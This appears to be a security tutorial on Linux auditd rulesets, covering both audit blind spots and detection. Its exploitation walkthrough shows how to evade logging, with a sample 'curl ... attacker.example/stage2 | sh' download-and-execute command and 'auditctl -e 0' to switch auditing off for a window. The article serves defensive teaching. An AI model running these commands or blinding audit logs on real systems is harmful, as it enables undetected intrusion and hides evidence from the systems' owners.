Linux auditd: Configuration and Threat Hunting

Linux auditd: Configuration and Threat Hunting - article cover image Tools & Defense
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

auditd is the Linux Auditing System’s userspace daemon — the primary way to get syscall-level, tamper-evident logging of what actually happened on a Linux host: which binary ran, with what arguments, as which UID, touching which file, and whether it succeeded. It is the closest Linux analogue to Windows Sysmon, and for incident response and threat hunting on Linux it is often the *only* source with enough fidelity to reconstruct an intrusion after the fact, since shell history and application logs are easily cleared or simply do not exist for the relevant action.

The catch is that auditd logs exactly the rules it is given and nothing else — there is no default “log everything interesting” mode. A fresh install with auditd.rules empty produces almost no signal, and even a populated ruleset can have deliberate or accidental blind spots: a specific UID excluded from execve auditing, a watch missing on a sensitive path, or rules that were never loaded because augenrules --load was never run after editing. Understanding both how to build a useful ruleset and how attackers evade or blind it is the core skill here.

Attack Prerequisites

Exploiting a gap in audit coverage, rather than triggering audit logs that get caught, generally requires:

  • Root or CAP_AUDIT_CONTROL, needed to modify the running rule set (auditctl -D, -e 0) or to edit /etc/audit/rules.d/*.rules and reload.
  • Knowledge of, or the ability to discover, the current ruleset — via auditctl -l — to identify unmonitored paths, excluded UIDs, or missing syscall classes.
  • A logging pipeline with no independent forwarding — if audit logs only live in local /var/log/audit/audit.log with no forwarding to a remote SIEM, a root attacker who can edit or truncate that file destroys the evidence along with the rule gap.

How It Works

auditd rules are compiled from /etc/audit/rules.d/*.rules (or the legacy single audit.rules) by augenrules into the running kernel audit filter, which hooks syscalls directly — so, unlike a userspace logger, it cannot be bypassed by killing a monitoring process (though it can be blinded by disabling the audit subsystem itself, which is loud). Rules are of three kinds: control rules (-e, -b, -f — enable/disable, backlog, failure mode), file watches (-w <path> -p rwxa -k <key>, monitoring reads/writes/execs/attribute-changes on a specific path), and syscall rules (-a always,exit -F arch=b64 -S execve ..., which fire on specific syscalls with optional field filters such as UID, path, or success/failure).

Every rule can carry an exclude filter. This is legitimate and necessary — without excluding noisy, low-value events (e.g. audit’s own housekeeping, or specific known-benign daemons) the log volume becomes unmanageable — but it is also exactly the mechanism an insider or an attacker with root can abuse to create a silent blind spot: a rule excluding a specific UID from execve auditing means every command that UID runs is invisible, permanently, until someone diffs the ruleset against a known-good baseline.

Log integrity is a separate concern from coverage. audit.log is a plain file; without auditd‘s flush mode set correctly, remote syslog/SIEM forwarding, and Linux Auditing’s write-and-flush guarantees, a root user can truncate or delete it outright. Immutable mode (-e 2) prevents *rule* changes until reboot but does not, by itself, protect the log file from a root process with unlink()/truncate() access to it.

Vulnerable Code / Configuration

The gap that enables silent activity is a rules file with an exclude filter on a maintenance or service account, or simply no execve auditing at all:

# /etc/audit/rules.d/audit.rules — VULNERABLE (deliberate blind spot)
-D
-b 8192
-f 1

# 'ops' automation account excluded from all syscall auditing --
# anything run as this UID is invisible to auditd.
-a exclude,always -F uid=ops

-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
# NOTE: no -S execve rule at all -- process execution is not logged.
TEXT

A second common gap is watching a directory but not its writable sub-path, or watching /etc/sudoers without also watching /etc/sudoers.d/, leaving the include-directory as an unmonitored path for privilege-escalation persistence:

-w /etc/sudoers -p wa -k sudoers_change
# /etc/sudoers.d/* is NOT watched -- a dropped file there is silent.
TEXT

Walkthrough / Exploitation

From a root shell, first read the live ruleset to find gaps rather than guessing:

auditctl -l
# review for missing -S execve, missing -w on sensitive paths,
# and any '-a exclude' rules scoped to a UID/path you control
Bash

If execve auditing is absent, run commands and persistence steps normally — they simply never appear in audit.log. If a UID exclusion exists, operate as that account:

# e.g. a shared automation account excluded above
su - ops -c 'curl -s http://attacker.example/stage2 | sh'
# No SYSCALL/EXECVE record is generated for this session.
Bash

An attacker with root can also go further and disable auditing outright for a window, then re-enable it to avoid leaving an obvious permanent gap — noisy, but effective against anyone not alerting on the state change itself:

auditctl -e 0            # temporarily disable auditing
# ... perform actions ...
auditctl -e 1            # re-enable, log continuity looks unbroken
Bash

Threat hunters reconstruct activity from what *is* logged with ausearch/aureport, which is exactly why identifying the gaps above matters before trusting a clean-looking timeline:

ausearch -k identity -ts today
ausearch -x /bin/bash -ts recent
aureport --summary -ts this-week
Bash

Note: auditctl -e 2 puts the kernel audit configuration into immutable mode — no further rule changes are accepted until reboot — which is the standard way to stop a root attacker from silently editing rules mid-session; it does not, however, prevent them from disabling auditd’s userspace daemon or filling/rotating the local log file, which is why remote log shipping matters independently.

Opsec: auditctl -e 0 and rule deletions (-D) are themselves logged as CONFIG_CHANGE events before they take effect, and a SIEM alerting on type=CONFIG_CHANGE with op=remove_rule or on audit-daemon stop/start in the systemd journal will catch tampering even when the subsequent activity is invisible.

Detection and Defense

A useful auditd deployment needs both a sane baseline ruleset and monitoring of the ruleset itself:

  • Use a maintained baseline such as the CIS Benchmark audit rules or the upstream audit-userspace example rules, which include -S execve coverage, /etc/passwd, /etc/shadow, /etc/sudoers*, /etc/ssh/sshd_config, and cron/systemd paths.
  • Never scope -a exclude rules to a UID or path without a documented, reviewed reason, and periodically diff auditctl -l output against a known-good baseline.
  • Set -e 2 (immutable) after boot-time rule load so tampering requires a reboot, which is itself loggable and disruptive.
  • Forward audit.log to a remote SIEM in near-real-time (audisp/audisp-remote, or rsyslog/Filebeat) so local deletion does not erase the evidence.
  • Alert on CONFIG_CHANGE events, on the auditd/auditd.service stopping unexpectedly, and on execve records for shells spawned from unusual parents (web server, cron, systemd).

Real-World Impact

auditd is the backbone of most Linux DFIR and compliance regimes — PCI-DSS, STIG, and CIS Benchmarks all mandate specific audit rules, and incident responders routinely rely on ausearch/aureport output as the primary execution timeline when no EDR agent is present. Conversely, penetration testers and red teams treat a missing -S execve rule or a UID exclusion as effectively free reign to operate without leaving a syscall trail, which is why auditd ruleset review is a standard step in Linux hardening assessments.

Conclusion

auditd only sees what it is told to watch, and that gap between capability and configuration is where both accidental blind spots and deliberate evasion live. Build from a maintained baseline, watch the identity and privilege-escalation files, log all execve, lock the ruleset with -e 2, and ship logs off-host — then treat any unexplained exclusion rule or CONFIG_CHANGE event as an incident in its own right.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL